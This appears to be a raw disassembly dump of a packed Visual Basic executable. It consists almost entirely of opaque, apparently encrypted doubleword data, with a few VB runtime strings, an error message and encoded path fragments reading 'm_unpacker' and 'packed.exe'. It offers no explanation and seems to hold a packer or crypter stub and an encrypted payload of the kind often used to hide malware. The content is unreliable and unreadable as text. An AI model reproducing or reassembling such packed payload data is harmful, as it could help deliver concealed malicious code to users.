0AF81CFF2h dd 0D6E954ACh, 0B78B887Ah, 0D6E8A997h, 0B685867Ch, 0A53AA092h dd 0F0A4CFADh, 0A7AF144Ah, 0CCF10C33h, 7DFB1780h, 864CD1A2h dd 86118610h, 0D1A2EC8Ch, 0CA7FF74Ch, 6E4C5AF8h, 0C8BA8EADh dd 0CB5CA2BCh, 0CCC5D2D7h, 5B49752h, 812E4E44h, 41B54ACAh dd 755FD5D3h, 568C6EC8h, 4ACA8122h, 6ED0884Fh, 50CAB83Fh dd 25A7h, 7A245D00h, 22AFA334h, 0EF52CCB3h, 0C5B7B187h dd 0B44ACA93h, 0DB754803h, 66800C9h, 50CAAE97h, 102FFh dd 0C33B500h, 823D3E3Ch, 0DE14A74Bh, 0F361465Fh, 345F4F5h dd 0F3556425h, 0BB8358FDh, 8387998Bh, 784CD1BBh, 3D1E87C1h dd 77EDCB7Fh, 0C776936Dh, 5536A781h, 5204E66Ah, 1DE67844h dd 0D67F9AC4h, 77DBE571h, 8059CB81h, 3AAC8EB8h, 42273BACh dd 6F52CCB5h, 33A43907h, 0CAF5591Fh, 5734A24Ah, 0BEFE56Dh dd 2DBA2B71h, 0F5D0A8BAh, 701B4ACAh, 0B693014Bh, 0EF654309h dd 1E1DEBE5h, 50C654DDh, 0C37B50C7h, 212FA583h, 4CD7535Bh dd 53D2AAB8h, 0BD194CD7h, 0CDABA710h, 164CD753h, 0B72036A0h dd 9967E9D4h, 0F78BC578h, 5DEB7B2Ch, 78C915Fh, 79000002h dd 0D5B68CC8h, 7D8E64E8h, 0DAB789BDh, 7F8C66E4h, 9FB68CC4h dd 71DFE25Bh, 0A0AE927Fh, 53FFC1D2h, 0BB8DAC5Dh, 988A0BC5h dd 4AF0A5E0h, 33C698EBh, 0BCD64110h, 4CD1A2BCh, 0BBC1CF47h dd 404CD1A2h, 3095F153h, 5BC91EF3h, 231AF7C9h, 7F294B25h dd 0CEAC9E9Ch, 1C3E0E18h, 0C05141D6h, 0E552CCB3h, 37311726h dd 0B442C502h, 73E12BE3h, 807ADC61h, 0CA8A364Ah, 0E3F0634Ah dd 0FC72B7CBh, 0E5D6C0F2h, 0EA4096Bh, 0D80C50CAh, 0BA000000h dd 82FAE87Fh, 494CD1A2h, 1B22F7EDh, 734E4B2Dh, 275B48DDh dd 46C5ED8h, 1B1D310Dh, 4F293BA9h, 0D1661119h, 15330A4Ch dd 0F94F6E1Bh, 349F3FFh, 7EB8092h, 0A01652CCh, 4288B2D2h dd 84BABED5h, 5E428413h, 20A3D9C9h, 0CE284ACAh, 0DA534FD8h dd 7F54DDC7h, 0F2CD8E17h, 64F3645Eh, 0A0B29AA7h, 4CD783D8h dd 0DE9EB423h, 254CD783h, 0A0B223B1h, 4CD783D8h, 0E8A1B323h dd 6C77BD5h, 255DEAACh, 0F4C2C3h, 5D660000h, 330809F7h dd 526A2719h, 2F0DFEF4h, 5964251Bh, 4ED209F7h, 867CD4EFh dd 9B95B985h, 847ED4EEh, 0A290B887h, 0CDABA738h, 164AF0AAh dd 9C7FA9ADh, 0ED5B629Fh, 0D9CB590Bh, 0F0C83D00h, 74E25456h dd 42CAD97Eh, 5A828BEFh, 0C2795244h, 33CAAC86h, 893E3C0Ch dd 0F65FEDD2h, 0D1A29CDCh, 0E5EF674Ch, 91B01524h, 71DBE03Ah dd 41B27B60h, 96B088h, 0E2285232h, 0CECA5D75h, 0EC9F52F1h dd 33A97FD1h, 675734A1h, 0C8A2A494h, 34AA8016h, 0FAC9AFA3h dd 0A4124AF1h, 4407B8B2h, 9C2D476h, 6F1C1632h, 0BC90AD50h dd 9C9E08BEh, 0D6A6BC2Bh, 1D4AF1FAh, 46362CB9h, 8D4AF1FAh dd 59253B29h, 8B24223Eh, 5B4F26Eh, 9D9C6D43h, 0EECCCDABh dd 0D47F5E5Ch, 3E294F43h, 44B21FA0h, 0FDEF6952h, 502A201Eh dd 0ECD3889Eh, 96A5665Ch, 3B7B8B2h, 0DF000000h, 1233D42Ah dd 94AB6842h, 0BB5B6B4h, 8CB07147h, 182BE8C2h, 7E414238h dd 251BD8D2h, 76464325h, 2419DAD0h, 52945228h, 0BF57E289h dd 4, 835FFA01h, 148704EAh, 89505C24h, 405E0h, 0E8830000h dd 24048704h, 243C895Ch, 58FB68h, 242C8900h, 69C56852h dd 0C15A40E8h, 0EA8106E2h, 764A2D7Eh, 48D4EA81h, 0D789BDAFh dd 8324148Bh, 0EC8104C4h, 4, 81242489h, 42404h, 565D0000h dd 7589FE89h dd 24348B08h, 4C481h, 34FF0000h, 0C4815D24h, 4, 53243C8Bh dd 0C381E389h, 4, 8704C383h, 0E95C241Ch, 0FFFB3B70h, 0E6B8F57Fh dd 3062109h, 7CE0FFC5h, 7719E6A6h, 500AD45Ah, 1012B96Eh dd 485F3239h, 0EE502F21h, 0EE640DFFh, 0B45578ADh, 746BDF7h dd 640627D2h, 0C93BCE8Ah, 4B7C622Ch, 3E3012BFh, 8B4C8B04h dd 1D7B01B8h, 161E66E7h, 0E539A466h, 606CB25Eh, 0D46C02A8h dd 942E948Dh, 0B14CA1A1h, 826E34C4h, 0B7443C2Eh, 6E33FDC8h dd 0E922D690h, 15Ch, 77E705C5h, 6D5C3A43h, 706E755Fh, 656B6361h dd 61700072h, 64656B63h, 6578652Eh, 3Bh dup(0) a3cannotFindS_P db '3Cannot find ',27h,'%s',27h,'. Please, re-install this application',0 aThunrtmain db 'ThunRTMain',0 a__vbavartstne db '__vbaVarTstNe',0 dd 7A2EA910h, 1A44E9h, 0E1B6800h, 0D9E90621h, 68FFFA71h dd 6210F45h, 0FA71CFE9h, 105C68FFh, 0C5E90621h, 68FFFA71h dd 6211127h, 0FA71BBE9h, 116F68FFh, 0B1E90621h, 68FFFA71h dd 6211219h, 0FA71A7E9h, 127968FFh, 9DE90621h, 68FFFA71h dd 62112C0h, 0FA7193E9h, 190E68FFh, 89E90621h, 68FFFA71h dd 62119C1h, 0FA717FE9h, 1AB568FFh, 75E90621h, 68FFFA71h dd 6211BC0h, 0FA716BE9h, 1C4468FFh, 61E90621h, 68FFFA71h dd 6211D06h, 0FA7157E9h, 1D9968FFh, 4DE90621h, 68FFFA71h dd 6211E23h, 0FA7143E9h, 23C168FFh, 39E90621h, 68FFFA71h dd 621248Fh, 0FA712FE9h, 252E68FFh, 25E90621h, 19FFFA71h dd 4AA140DBh, 15EA8D2Ch, 3C9336DDh, 0DEF5942Fh, 0A8CD6C13h dd 6B12DFF2h, 963937CCh, 7211DCF3h, 9C3F38CFh, 0C54AC9FDh dd 38E97034h, 1BE0624Bh, 579C39DCh, 20D27518h, 28AD3099h dd 0E37C1B5Bh, 4882C767h, 0E3C4F559h, 0A441E00Eh, 2801F4Fh dd 4726FD80h, 9B3B0FA8h, 0A13CC182h, 3BE9C72Ch, 48320134h dd 0A24604A1h, 6991F068h, 0E707DCFCh, 2A2FA848h, 93000000h dd 9B22A73Eh, 0C5149B16h, 9C3EC87Dh, 0EFC58A2Eh, 70C4F4AEh dd 0F3063DDAh, 1CC72CB2h, 4F85EF82h, 9FC6981h, 0C9h, 39DC1B79h dd 731A579Ch, 3BDE19DAh, 832651A2h, 0A3423300h, 81A0400Ah dd 26F530BCh, 15A54432h, 8D31A8BBh, 0C89689C8h, 8D303F3Eh dd 37DA15EAh, 0E8E1789Eh, 0B97CDE65h, 220FC4F5h, 301AB356h dd 0AB9D2BB2h, 56A72C90h, 29C72DB5h, 0FE800F9Bh, 0AF521DF6h dd 67FE300Fh, 0CA48EF0Bh, 0EC8ABC43h, 279D3D13h, 0FBA2CFA4h dd 0C36A875Ch, 0C2C99BF3h, 52882543h, 17C5h, 0B659F400h dd 13B65521h, 700FB6BCh, 1ABD589Bh, 6205ACC5h, 0FDF4DDFFh dd 541CB356h, 0FCF90EB1h, 4A25BA5Dh, 2FD608A7h, 0E97329B0h dd 0DB674838h, 0C629DE1Bh, 3F7F2E06h, 0FDD275F3h, 0ADB04FF2h dd 42F84E1Fh, 0CC4F42C3h, 0C800B647h, 9B3BC93Eh, 58966D95h dd 8A2E1CB9h, 5884198h, 7F7E0580h, 123EC87Dh, 554FD474h dd 0FFC4F4AEh, 0FA84330h, 299F9B3Bh, 0B222B78Ch, 31CBC72Ch dd 813CB41Eh, 1590FC69h, 0BECA1390h, 1FA5C72Ch, 2CBE439Ah dd 8A81EC7h, 0D0CFh, 0DC1B3300h, 10DDB239h, 0F271D471h dd 3EC87DEBh, 0A9820086h, 0B68F2FCAh, 0F08D343Dh, 0C8793253h dd 0F39BD43Eh, 37816D6Ch, 48604C1h, 0BE618E65h, 5970F521h dd 4DD24FD2h, 0C137818Ch, 7CC165E3h, 3B0AAF1Eh, 0B17413B1h dd 0B32EAF34h, 0C341C72Ch, 5D6CF123h, 4CEF09D6h, 1B2AA9ACh dd 0E63D1216h, 0EB06DD60h, 0D3A0A544h, 0E86AF4A5h, 0E5F0B1FEh dd 432EC363h, 38792A45h, 0DC4E6042h, 95B552D0h, 710EB5BCh dd 398757D9h, 8F43C245h, 169BDCFEh, 96D60000h, 67875CFBh dd 0A8D229C8h, 6A895E01h, 9EDB30CFh, 0EFF558F7h, 0D17017E2h dd 0FC9B3E3Ah, 0C86706E7h, 0FEA14433h, 33CA49CCh, 4E38E972h dd 0DE1BE55Dh, 0F07219E0h, 0C3BDBA51h, 0F19012B5h, 39DC1B69h dd 7518579Ch, 71EE73EEh, 3EC87D68h, 0E1F88107h, 803EC87Dh dd 53C7660Ah, 0BB38BB0Eh, 0C4F55A25h, 6A38A92Fh, 0DBB34AC9h dd 38CEC72Ch, 0EE1A18ACh, 0F5780E4Ah, 13AC531Eh, 0C77E9737h dd 0B95D00F8h, 2C236174h, 2ED19FC7h, 0F0976291h, 333EE057h dd 0EE811B05h, 69144C84h, 0C30AFCh, 9C780000h, 3D8CD16Ah dd 59C739B6h, 9B58C4F5h, 64FCAC5Dh, 0C76DAF6Ch, 3BD2C749h dd 5FE48C64h, 0C72CF79Eh, 31D553F1h, 915FDFECh, 4C51CF3h dd 4F080281h, 25A3E1BDh, 6A5D19Eh, 0E43DE169h, 0AAC7AB32h dd 62E06A03h, 593B54DBh, 0A81EDBC7h, 7E214E25h, 59D256DBh dd 0D920CF69h, 10B3BD96h, 9E33D377h, 0EA2F20D1h, 0EB05E5A1h dd 6B2D996Dh, 0B677A915h, 158424h, 12ADBF00h, 0BF5E986Fh dd 8AFCB20h, 0C6619269h, 0FEA5CC23h, 0EDE4F65Bh, 25BA5D04h dd 0F209A84Bh, 2EC56403h, 0C7FB9E41h, 6D36C74Ch, 604938E9h dd 39DC1BE2h, 0E1E37A9Ch, 0C87D9B62h, 31D09D3Eh, 0E9513B1h dd 0F55A4F91h, 7AA20C4h, 0D16A9C3Fh, 640BE68Ch, 56E25FE6h dd 0B9C2F25Ah, 94993D70h, 0C4F59122h, 7316E1AEh, 0F8F157D3h dd 6C48453h, 0AD1CA1BEh, 5A3A926h, 0CE3CB648h, 6960E531h dd 19E05FE2h, 78526907h, 9D3C3912h, 9EB936F9h, 81A84894h dd 811EC5ACh, 41C447C9h, 4B753BC2h, 50F05658h, 9639360Dh dd 0CC0D920Fh, 0A3584B75h, 9FA28125h, 2E03AAD0h, 47039C43h dd 822552A7h, 8651E6AEh, 8D4DE2D6h, 14B9h, 0BA5DF8F4h dd 7AA4925h, 0C4630AF0h, 0FEA13C2Fh, 0C66910E9h, 0A9D001A3h dd 70885F02h, 98D52ACDh, 768156F9h, 38234D3h, 0E96C7D7Ch dd 0A71B1438h, 0B6DFDF6Dh, 52C6F47h, 0C0638C61h, 554AEF0h dd 45951AB0h, 1471h, 8225C0ACh, 3FE2816Dh, 8C2BD2A8h, 36D97477h dd 8E31D8A1h, 0E118B9EBh, 3840973Ah, 10DDF295h, 3E39CE71h dd 4BCAFC9Bh, 0E96C35C4h, 0DF634C38h, 0B75A966Dh, 12B5C217h dd 4F4CD075h, 6957D925h, 62F729CDh, 0DB61E467h, 0AC35A1D1h dd 79BE62D4h, 0C4F52207h, 0F89FDB98h, 0CA6DEB5Fh, 0FB42BFB6h dd 663102C0h, 0B937FF43h, 604BAD32h, 6EDC3D10h, 30BDCE75h dd 0E37AA1A9h, 0EAE05FE6h, 8593D5F0h, 8CF07CFFh, 4F7E469h dd 0D046DF7Fh, 36BD4089h, 95EFD019h, 38078EFCh, 0E6FD9C3Fh dd 6926609h, 52FAE294h, 13C71DBDh, 0F2020000h, 5323B857h dd 0B4BE15B4h, 56956A0Dh, 0AAC71CBBh, 0DB016403h, 0B554FBF6h dd 10AF521Eh, 0BC5BFAFBh, 2A54827h, 2FAE35D0h, 4238E96Fh dd 926BD969h, 0E43EC87Dh, 3EC84D11h, 37BD9A5Fh, 9D11E4C1h dd 0E00FC137h, 0E20E0CE6h, 7831C13Fh, 4DAFF024h, 517D51CFh dd 734FFA97h, 1367409Ah, 0D2A20000h, 33439837h, 14DEF594h dd 3635CA6Dh, 0AE7FC9Bh, 0FBA1C463h, 55F49BD6h, 30CF727Eh dd 5CFB9ADBh, 22C56887h, 4F8E15B0h, 2238E96Fh, 0A73E7949h dd 0AE149B22h, 31C4F545h, 0B0A1C393h, 0FE8F49E1h, 1320DCh dd 7E195B00h, 4BEA04DBh, 741B57ACh, 52EDFED5h, 7A2158AFh dd 617072D7h, 0B94EF198h, 667D1CBFh, 0B249E887h, 4B7F22C5h dd 6FB24BC8h, 0DCCD38E9h, 57966D66h, 0B4C318B8h, 707F7411h dd 3ED77A76h, 70F18E0Ch, 1B51BB96h, 0B30284B6h, 7528B12Eh dd 4373EC8h, 93456CD7h, 0A343C141h, 172Ah, 966B9800h, 903EC87Dh dd 1E25C467h, 3EB4EA3Dh, 0AAA931CEh, 1F000012h, 9C39DC1Bh dd 5FE6E37Ah, 0F54FFEE0h, 0D19C91C4h, 0D126A232h, 3F1D3B9Eh dd 4EAE3AC1h, 59A01F33h, 38C72C90h, 0D8C042D2h, 7F739236h dd 0F4058A3Ah, 84C72C6Eh, 2C6EFEFFh, 77F391C7h, 870C8F11h dd 3D114AFDh, 2ECDA877h, 1915B991h, 19E112ABh, 78ACF72h dd 937188h, 0D67A10CDh, 938B51h, 804FDDCDh, 5E8FE8F8h dd 6C8A5FFFh, 99D52ACDh, 0D69C73FAh, 0E454A52Ah, 9D2BCD00h dd 28C8821Bh, 8F69360Fh, 0D9A053ECh, 33B59532h, 83303E93h dd 68D8B1B0h, 835AD9FCh, 0DECD0049h, 0CF68EA68h, 0A8FE28Ch dd 7B7B48ECh, 498657DCh, 6BD9CD00h, 98D04AEDh, 0BEF64CE5h dd 14Fh, 22A73E44h, 0AAE60D9Bh, 49E7487Eh, 0C8AC33CAh dd 3AB84E3Eh, 560C9396h, 9C4F5A2h, 0E511E27Bh, 224CA346h dd 0E27C0083h, 0A0B586ECh, 370C25C9h, 0C72DD2A2h, 77AAC557h dd 0F26475FAh, 8DFBC72Dh, 3BDA14E9h, 0F6D36A9Ch dd 0CA62F06Fh, 87FD3D10h, 45EC05EEh, 3BDF3ABEh, 8C30F685h dd 0BBB64DECh, 33C87B14h, 0F0CD0294h, 0CE717E55h, 8B751931h dd 0FD0B91C4h, 44AB69C6h, 0A9D025C9h, 6E885F02h, 0B1BD36CFh dd 0BEB48B12h, 2CCC7E17h, 0D39E4813h, 4D2A204Eh, 8D8928AAh dd 0F64FB157h, 2C01h, 0DE1B8100h, 0D8A79E37h, 0EA60FDA0h dd 21C8B146h, 4807D784h, 700FB6C3h, 84B23EB6h, 8D1802h dd 0D6AD0000h, 2FD6A395h, 9236B496h, 22A73E8Ch, 534A149Bh dd 770DC4F5h, 3AD915DEh, 97364097h, 5AF9F5FEh, 28F79EBDh dd 0E310AD50h, 70DA7312h, 15E46BF2h, 6CC72CAFh, 81D03ADEh dd 0B453F2FCh, 3068EB71h, 87E7F710h, 0B1B72DE7h, 36A1FC68h dd 21000000h, 9A21A63Eh, 0C4159A17h, 9B3EC87Dh, 85C4892Dh dd 9C3EC87Dh, 0A2D8A72Eh, 81C25BFBh, 0C137817Ch, 0EA4C23D1h dd 71EE7552h, 0C13783D8h, 0A04EF157h, 7, 4102FAh, 1B580000h dd 0A69F38DFh, 2977A822h, 0C83D53AAh, 0C982E3Eh, 0B256BF60h dd 0FB2511Dh, 0C65FFEF8h, 22BB0450h, 0C805DD21h, 0AE85483Eh dd 0C7831CC3h, 872FD27h, 28529D0h, 0A74627FCh, 0BC4CE07h dd 3E340000h, 0C3801DA2h, 4164A9B3h, 7AADC462h, 0EC7C84EEh dd 8A2E3858h, 0D92D5890h, 45FE78h, 6D840000h, 17B75A96h dd 0E1645BE5h, 0C87D9B62h, 0F790F63Eh, 0D675814Eh, 33B2ED32h dd 0A3CC615Ch, 668C6700h, 0D6C826BFh, 0E0634D7Bh, 0AB44E313h dd 4EC4159Ah, 2D9B6844h, 4E210BABh, 10E46CE4h, 24BEA59h dd 3E580000h, 0AA5C6A2h, 0D55BDD6Dh, 0DC1BE773h, 95CBA834h dd 4D58A72Dh, 0C8EE35C4h, 3CBE4C3Eh, 6C0BEAB9h, 4FFB86CCh dd 926BE86Dh, 0DD3EC87Dh, 64FCED94h, 24A222D6h, 0CF628A84h dd 6A140584h, 6E000000h, 931DA23Eh, 0B75A966Dh, 0C98C2C1Eh dd 0C87DB04Ah, 0B33DCB3Eh, 0B458966Dh, 0C87DAE2Fh, 0C543C13Eh dd 0BB7E2228h, 2ADF1B33h, 9019D24Bh, 7B820150h, 163EC892h dd 2DB032B0h, 0F79EDBA8h, 0C8926B72h, 1872063Eh, 565F50D9h dd 55DA61DFh, 3EC82F84h, 83C96DDBh, 0E86D56FCh, 0C87D926Bh dd 0F700ED3Eh, 8432D654h, 30h, 0FA23EFEh, 751DE789h, 0F37DFB4Fh dd 7D14E66Dh, 0DC603EC8h, 1214C6A4h, 0A3CFA4A5h, 47E763FCh dd 6DC34DBBh, 17B75A96h, 0DF1B8E14h, 56FCB238h, 6AB756Bh dd 1DC4AD41h, 0B53AB77Ah, 48FAB724h, 0D429CD3Bh, 0A07BF89Bh dd 0E7B132D9h, 0C2AD323Dh, 9A199C1Fh, 48FAB743h, 0D308A81Eh dd 0E96C0FE8h, 860B2263h, 52F64680h, 0FF377FD5h, 1AE91C33h dd 38B73ED9h, 48FA0FA1h, 51A64AC0h, 0A58E8326h, 0D1AA27CAh dd 0FE0FAA8h, 0D7B48FAh, 9B7A0286h, 3DA1CEAh, 32D654F3h dd 0BE912BF5h, 0A69B3E39h, 60FDA4CDh, 1C299B14h, 0E9862947h dd 0CA718861h, 8F791D2Dh, 403E3BC0h, 0B6C39833h, 19EE910Fh dd 0E5BE3BDEh, 1E9C5E0Ch, 59EF48FAh, 66E915D8h, 0EE955C33h dd 8055F951h, 14DFD477h, 61BB38DBh, 2C43DD14h, 2C25C8A7h dd 4852847h, 1E9B422Fh, 24A9A852h, 0A025A84Bh, 0FA1EDA23h dd 0AF4FB548h, 0B3BC933Ah, 0FED37710h, 97B34CF3h, 0DC1B31F7h dd 7D2EAF34h, 0BE413EC8h, 0C87DB841h, 0EF71D73Eh, 0E773E771h dd 0ACCAA63Eh, 7D728B08h, 770D3EC8h, 0B65520F9h, 4FFBAE34h dd 848DCE36h, 26A805h, 3E1A0000h, 6D9721A6h, 0C87D14E6h dd 57E1673Eh, 0DB1BE56Dh, 0E86DB63Ch, 0C87D926Bh, 0B757ED3Eh dd 1D027D03h, 58000000h, 9721A63Eh, 7D14E66Dh, 31173EC8h dd 0F59CD5AAh, 84EF258h, 0DB1BE56Dh, 56FCB63Ch, 0C873146Bh dd 5ADE653Eh, 64EBF072h, 0C1375595h, 81CE5EECh, 6351F519h dd 0FFFFFD53h, 7D966BDDh, 29B33EC8h, 64625C88h, 987310Fh dd 0C2699166h, 94DF1E25h, 0C6703EC8h, 26FD78ABh, 0DC1DA649h dd 0B33EC894h, 965C7115h, 23BC5F98h, 84235227h, 3EE15FEBh dd 0AA4924FBh, 8B643D0Dh, 5BFB4FE8h, 0EFC46886h, 2DB60FFh dd 43EC894h, 3DCB47EEh, 6DEB8A64h, 850A87CAh, 3EC89474h dd 0E2FB780Bh, 7D3EC894h, 0A6F98907h, 0B2FECEFDh, 9A22D474h dd 9DB3902Dh, 24F8B16Fh, 578DF77Ah, 1C02F49h, 26Fh, 7D916B81h dd 55E33EC8h, 0E1D1A269h, 3DEF8FE6h, 179A21A8h, 5EC4159Ah dd 2D9B3EC8h, 751EC489h, 0A321C4F5h, 5C03EF04h, 0A74630C3h dd 1309E50Eh, 0A4A63FE6h, 388D8926h, 0E7850A91h, 783D11BDh dd 831CBBBBh, 6504F2C7h, 300082C8h, 43CC8616h, 0D27D5D32h dd 0D00000Ch, 4EA544DFh, 9DE8120h, 50A74AF1h, 12E98823h dd 0BCA140E7h, 27CEAB26h, 0E2857388h, 2ECDA83Fh, 0D87B748Bh dd 81FE8539h, 38E96478h, 1B6C5617h, 7611E2DCh, 26BB5BF4h dd 0B8A320A3h, 4CC4EB71h, 5AFDFAC9h, 168908D1h, 6C8A67C7h dd 0AFAB4BCDh, 0BB45AB0Bh, 175652F7h, 0ED6BDF78h, 2E47B65Dh dd 0ED6B4587h, 0BA619966h, 6D2AAE33h, 297CFB1Eh, 9B6871FAh dd 8107C716h, 0D1A93EDDh, 0A3CCA32Ah, 7EC76000h, 9CCFC5B1h dd 0ADF7F01h, 69AD4AEDh, 0F16EF5D4h, 3D2A4A3Fh, 0A19FDAA9h dd 0B09A33D6h, 11B59532h, 91DFAF15h, 7743C6EEh, 0C1F24B6h dd 1A5A0000h, 0EB0BE07Fh, 1C56AD4Ch, 0EEFDD275h, 521FB453h dd 33690CABh, 8D2CD39Eh, 38D77A76h, 9433D2A3h, 0EA8D303Fh dd 7D65DF8h, 5A38E964h, 0DC1BB191h, 0E37A9C39h, 12E05FE6h dd 66C4F4AFh, 1DBA6199h, 37CD892Dh, 93109598h, 0C72CB34Ah dd 8E2D4825h, 58976C0Ch, 9232EEA7h, 0AD2BBF87h, 8278470Ah dd 74C93BDBh, 0A2B48347h, 0B09A33D6h, 56D86024h, 0FFD451D4h dd 98B24BF2h, 6E7D33F8h, 58EE3D0Fh, 0AD350D5h, 0CCD0B6Eh dd 9FAB44DFh, 45619723h, 9F5A2945h, 0E5BA7D21h, 2CC3660Dh dd 3F069F46h, 56DD8970h, 0CD0BFB87h, 4AEE6CDAh, 0BA09BAB5h dd 0F79261A0h, 0AB3FD96Bh, 552AB28h, 972DCD0Bh, 900F9219h dd 0CD0B0549h, 25FEA228h, 0D65D6CF1h, 37D45759h, 0FF840137h dd 0D36034FEh, 32D19C91h, 9333B595h, 195D3197h, 0EB5DAD10h dd 0B2BB822h, 86660000h, 0B7B74CEBh, 98627918h, 0BAB94EF1h dd 8E6B801Fh, 7F2548E7h, 0E1802752h, 0AC4BEE0Ah, 0D8771657h dd 0AE51F403h, 0C31A993Ch, 9E38E967h, 0DC1BF5CDh, 0F07215E2h dd 4F7ABF57h, 77C349CCh, 0CF7AEFCAh, 0AB2CC5EEh, 31AF50D5h dd 2566C88Dh, 1DF2C4F5h, 708B9F54h, 0A2B6D403h, 23C38720h dd 0E9FEA127h, 34CB6E0Dh, 0D620893Eh, 0B617B88h, 3E64EA8Dh dd 169B22A7h, 0F08D2C49h, 1B71B65Ah, 94C4F573h, 32494EE8h dd 0A8811EAh, 0D85DD86Dh, 2CBB825Bh, 0E267DDC7h, 0C72CBB1Bh dd 1EBDB976h, 0A747C981h, 2CB85FA2h, 0FC9FD9C7h, 0C36A9063h dd 81D0BA2Ah, 0B14EF5FCh, 53311799h, 775A92FCh, 9D72FC69h dd 0B5902DD4h, 2CB4AF2Eh, 0C644C2C7h, 7BA922h, 1B190000h dd 50A33CDBh, 5EE8726h, 30C946E6h, 4F3EC87Dh, 0DFB437B9h dd 74D66F0Eh, 0BEB83BD4h, 378E801Fh, 4A840B92h, 0CDC4F57Fh dd 0A77D6737h, 0C24B49E1h, 0A2018h, 7E195B00h, 4BEA04DBh dd 741B57ACh, 52EDFED5h, 7A2158AFh, 617072D7h, 0B94EF198h dd 667D1CBFh, 0B249E887h, 4B7F22C5h, 66B24BC8h, 0DCCD38E9h dd 3CDB1B66h, 961D989Dh, 3EC87D47h, 0DE0CAC1Ah, 71h, 6BE86D34h dd 3EC87D92h, 58F300EDh, 690D8BBFh, 22BB5A94h, 0D95C6DF4h dd 7D06D75Ch, 94593EC8h, 2E1CB95Ch, 4B7220ACh, 0FBE58756h dd 115BD85Bh, 4AC4F551h, 0A5FAECBCh dd 0E9C649E1h, 99CF1h, 0FA95D700h, 0D7768057h, 30D7A338h dd 0DE797A91h, 26CDA43Bh, 15BCDE83h, 3D9235DCh, 1AF19033h dd 469D3CDBh, 0EFE38629h, 610ECF54h, 886138E9h, 39DC1BBAh dd 7518579Ch, 0D29D89D8h, 84B5F068h, 1FD6602h, 9CDC0000h dd 956330BAh, 85DC4EF2h, 0E685703Fh, 0C87D9C5Dh, 0F4FEF33Eh dd 189AB04Dh, 118E139Ah, 3EC87DC8h, 0B16713A7h, 0D4D8A2FFh dd 0F06FB256h, 0C4F5888Eh, 15AEA321h, 0D29578A5h, 890CBD04h dd 0F30A890Ch, 8E38867Bh, 49D358F8h, 1BC2BB51h, 0F38C2744h dd 0FF7BB757h, 0C89EB8EAh, 0B34CCE93h, 68EBDE63h, 0DBA1ACEBh dd 9219AFC4h, 700FB2BDh, 0E5B95C9Bh, 4A168103h, 0DA02D8B5h dd 15000008h, 469D3CD7h, 11E68928h, 489F42E9h, 1AF1902Bh dd 0B49938DFh, 2FD6A32Eh, 0DA7D7B90h, 36D5A037h, 90333C93h dd 0D956FDF1h, 38E96000h, 1BB48E5Fh, 73A33CDBh, 0AFDACDEEh dd 22598252h, 24430E45h, 0F270F221h, 6E0CE46Bh, 5E53C4EBh dd 2360EC93h, 0E4BF85BAh, 0E3B033B5h, 38CF7215h, 16009D40h dd 0EC73FACFh, 3D2A5C4Ah, 0AA8052D6h, 0B2CBDCE8h, 0CEA6520Eh dd 683D9685h, 0D7AC2FB1h, 7C53F699h, 0BF34D174h, 0C5390DB0h dd 0DF43C1CAh, 8478C4Eh, 72820000h, 0D3A338D7h, 343E9534h dd 0D615EA8Dh, 2A479C3Bh, 5B81E483h, 35D47B76h, 902FD29Eh dd 3CDB7A7Bh, 8225C8A7h, 0AF2EB550h, 0C238E960h, 966D59E9h dd 2F1BB45Bh, 0EEE76C8Fh, 2F3EC87Dh, 0DB076A05h, 43C04386h dd 0C4F5491Dh, 5994A127h, 32828414h, 0B134D28Eh, 0DB7413E2h dd 0B78CCF6Fh, 817514BBh, 89068D3Ch, 3D1261F8h, 0F77A0187h dd 0AAE4D28h, 0F800FAF5h, 1092B855h, 0BA5D9A71h, 0C24716E6h dd 0CD0DA243h, 7BDh, 0BE61FCF8h, 0BAE4D29h, 0B857FEF4h dd 12B55023h, 6A0DB4BDh, 0F5FCD507h, 1C54AB4Eh, 0F401D679h dd 521DB255h, 37DE10AFh, 0E96321B8h, 0D36F4038h, 0C87D966Bh dd 0C467903Eh, 5D6CF125h, 0B2B159D6h, 18AEC4F4h, 10AFBE95h dd 0E060EC71h, 52BD48F6h, 0CBB91B43h, 0E563D5D1h, 22C1AC41h dd 75B5585h, 3EAB0000h, 149B22A7h, 0C4F556EEh, 93AD371h dd 0C72CA5F4h, 82EC8321h, 0FC698A4Ah, 1650Ch, 0DA1B7600h dd 7D20B936h, 0C93F3EC8h, 7D3CBD42h, 0B5533EC8h, 1F599A33h dd 0E710E37Ch, 0BF44C144h, 3EC87D3Eh, 0FA13B351h, 0D77E744Bh dd 7188073Eh, 103EC87Dh, 8358F87Ah, 9F34D372h, 80962FCEh dd 8A078E37h, 9211DAFEh, 2DD1BAA5h, 0C88A1928h, 0EF0BE83Eh dd 1D9BAF48h, 155C8A80h, 23C66590h, 7B02A1CCh, 4396CEDh dd 2814D10h, 3EC8F0FBh, 0EB23096h, 0F3C30E35h, 0D1543EC8h dd 0D3F2634Bh, 46EAB24Ch, 0E51095DCh, 0F33BC241h, 0F0563EC8h dd 45BCF72h, 0DCB53AC1h, 3C3EC8F3h, 0F3A33AB9h, 48BE3EC8h dd 811EACA8h, 44E38672h, 811EC1AFh, 45E28572h, 82713EC5h dd 92DD47E7h, 0CB32E30Dh, 5C3E9970h, 0AB32B134h, 0C63EC8A9h dd 0C81FC240h, 0A6700DB0h, 9C23AA1Fh, 0C4F58BBEh, 1114B351h dd 0FA933642h, 9A9BEA42h, 69E779EBh, 0A54830C5h, 0B9B50E08h dd 0DE8E1EBDh, 0D81BC647h, 25AA31AFh, 0C72D7D28h, 8E7C19AFh dd 648C1160h, 0AFC91EC1h, 0E6758107h, 275451EDh, 2DA85BA2h dd 52D036C7h, 0EDDC61B5h, 0A17FE966h, 8A003D10h, 90452C03h dd 0B047A161h, 24C446B4h, 80BC4005h, 129EE867h, 0BDBB50F0h dd 0BFFA8715h, 3B12377Eh, 2B727B6h, 7514E1CDh, 54F272D8h dd 78804FD6h, 6E1238D5h, 9E3D38CFh, 0A73E33FBh, 22149B22h dd 0B5C4F54Fh, 0C08FB64Fh, 0CB7F18B3h, 0F998D62Bh, 0D14ED356h dd 0C72C9308h, 0F73DE167h, 9A21A63Eh, 0B4CA50Eh, 83236991h dd 0EF4499AAh, 0D3B13EC8h, 7F7A497Ch, 6B0B3FD8h, 85443BB1h dd 301D02h, 1BA50000h, 0EAB93CDBh, 6CC56910h, 0C87D06D7h dd 62ED173Eh, 0EB7211DDh, 9539DC14h, 5EECB176h, 0FA813EC8h dd 0E6047E6Eh, 3FDF3FABh, 0FFFFAB91h, 0DC1B07FFh, 0EB57AF39h dd 9721A63Eh, 0CE360951h, 0A805848Dh, 5Eh, 